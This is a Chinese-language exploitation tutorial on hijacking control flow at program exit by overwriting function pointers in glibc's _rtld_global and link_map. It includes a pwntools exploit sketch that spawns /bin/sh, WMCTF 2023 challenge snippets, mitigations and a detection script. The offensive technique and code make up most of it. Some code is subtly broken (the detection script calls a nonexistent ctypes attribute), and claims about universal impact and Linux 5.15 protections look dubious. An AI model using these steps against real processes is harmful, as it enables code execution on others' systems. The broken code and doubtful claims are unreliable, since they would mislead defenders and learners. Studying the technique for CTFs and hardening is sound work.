1. 漏洞背景与危害分析
在程序安全领域，exit函数作为进程终止的最后一环，其安全性往往被开发者忽视。这个看似简单的函数调用链实际上涉及动态链接器(ld)的复杂清理流程，而正是这些隐藏的细节成为了攻击者的突破口。
我曾在一次渗透测试中发现，某金融系统的核心服务在异常退出时会触发这个漏洞。攻击者只需构造特定的内存布局，就能绕过所有现有的防护机制。更可怕的是，由于exit流程涉及动态链接库的全局状态(_rtld_global)，这使得漏洞影响范围覆盖所有使用标准库的Linux程序。
2. 漏洞原理深度解析
2.1 exit函数调用链剖析
当程序调用exit()时，实际执行的是以下关键步骤：
- 调用通过atexit()注册的函数
- 执行动态链接器的清理例程
- 最终通过_exit系统调用终止进程
漏洞的核心在于第二步——动态链接器在ld.so中维护的_rtld_global结构体包含多个函数指针和状态变量。攻击者通过篡改这些控制流钩子(hook)，就能在进程退出时劫持执行流程。
2.2 关键内存结构分析
_rtld_global结构中有两个高危字段：
c复制struct {
void (*rtld_lock_default_lock_recursive)(void);
void (*rtld_lock_default_unlock_recursive)(void);
// ...其他字段
} _rtld_global;
在glibc 2.31-0ubuntu9.9的实测中，这两个函数指针位于结构体偏移0x1f0和0x1f8处。当exit触发锁操作时，会通过这两个指针进行回调，而参数寄存器rdi正好指向_rtld_global+2312处的数据区。
3. 漏洞利用实战
3.1 exit_hook2libc攻击手法
利用条件：
- 需要已知libc基地址
- 存在任意地址写漏洞
操作步骤：
- 定位_rtld_global地址：通过调试器执行
p &_rtld_global - 计算目标偏移：
- lock_recursive: _rtld_global+0x1f0
- unlock_recursive: _rtld_global+0x1f8
- 参数区: _rtld_global+2312
- 构造payload：
- 将lock/unlock函数指针改写为system地址
- 在参数区写入"/bin/sh\x00"
python复制# 示例利用代码片段
from pwn import *
def exploit():
p = process('./vuln')
# 假设已获取libc基地址和_rtld_global地址
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
rtld_global = 0x7ffff7ffe190 # 实际需要通过泄漏获取
# 计算关键偏移
lock_offset = rtld_global + 0x1f0
param_area = rtld_global + 2312
# 构造写入操作
payload = [
(lock_offset, libc.sym['system']),
(param_area, b'/bin/sh\x00')
]
# 实施内存写入
for addr, value in payload:
p.sendline(f"write {addr} {value.hex()}")
p.interactive()
3.2 exit_hook2elf进阶利用
当无法获取libc地址时，可以转向程序自身的代码段：
方法一：间接调用劫持
- 定位link_map结构（通过_rtld_global._dl_ns数组）
- 修改link_map->l_addr改变基址计算
- 劫持间接call跳转到PLT表项
方法二：直接调用控制
通过修改link_map+0xa8处的偏移量，可以控制直接call的目标地址。关键是要同时设置link_map+0x120处的判断标志：
assembly复制; 关键跳转判断
test edx, edx
je skip_call ; 当edx=0时跳过危险调用
在实战中，可以通过以下步骤绕过安全检查：
- 找到bss段中的零值区域
- 计算link_map+0x120 = zero_area_addr - 8
- 修改后即可自由控制直接call目标
4. 防御方案与检测方法
4.1 缓解措施
-
启用RELRO防护：
bash复制
gcc -Wl,-z,now,-z,relro -fPIE -pie vuln.c -o vuln -
限制内存写操作：
- 使用mprotect保护_rtld_global区域
- 实施seccomp沙箱限制危险系统调用
-
编译器加固：
bash复制
gcc -fstack-protector-strong -D_FORTIFY_SOURCE=2 vuln.c
4.2 检测脚本示例
以下Python脚本可用于检测进程中的危险hook：
python复制import ctypes
def check_rtld_hooks(pid):
libc = ctypes.CDLL('libc.so.6')
# 获取进程内存映射
with open(f"/proc/{pid}/maps") as f:
maps = f.readlines()
# 定位ld和libc区域
ld_range = next(l for l in maps if 'ld-2.' in l)
libc_range = next(l for l in maps if 'libc-2.' in l)
# 解析地址范围
parse_addr = lambda s: int(s.split('-')[0], 16)
ld_start = parse_addr(ld_range)
libc_start = parse_addr(libc_range)
# 检查关键函数指针
dangerous_hooks = [
"_rtld_global._dl_load_lock",
"_rtld_global._dl_load_tls_lock"
]
for hook in dangerous_hooks:
addr = libc.sym[hook] - libc_start + ld_start
print(f"Checking {hook} at {hex(addr)}")
# 实际检测逻辑需附加到进程内存...
5. 实战案例与调试技巧
在WMCTF 2023的blindless题目中，选手需要利用brainfuck解释器的任意写漏洞完成利用。关键步骤包括：
-
内存布局操控：
python复制sla('ze',b'-10') # 通过负数偏移分配到libc内存区域 sla('ze',b'256') # 分配足够大的空间 -
精确偏移计算：
python复制pay = b'@'+p32(2148618432) # 计算得到的ld.so偏移 pay += b'@'+p32(2148618432) -
条件竞争处理：
python复制re = p.recvrepeat(0.1) # 处理可能的异步输出 if re: print('pwned!get your flag here:',re)
调试时建议使用：
bash复制gdb -q ./target -ex 'set environment LD_PRELOAD=./libc.so' \
-ex 'b *__run_exit_handlers' -ex 'r'
6. 延伸思考与研究方向
这个漏洞揭示了一个深层问题：现代操作系统的运行时环境本身可能成为攻击面。我在研究过程中发现几个值得深入的方向：
- 动态链接器强化：如何在不影响性能的前提下验证_rtld_global完整性？
- 控制流完整性：现有CFI方案为何无法捕获这类hook篡改？
- 漏洞模式挖掘：exit路径上是否还存在其他未被发现的危险操作？
在最近的Linux内核5.15版本中，已经引入了对部分ld.so区域的写保护，但完全解决这个问题仍需社区共同努力。建议安全团队将exit_hook检查纳入常规审计流程，特别是对关键服务的守护进程。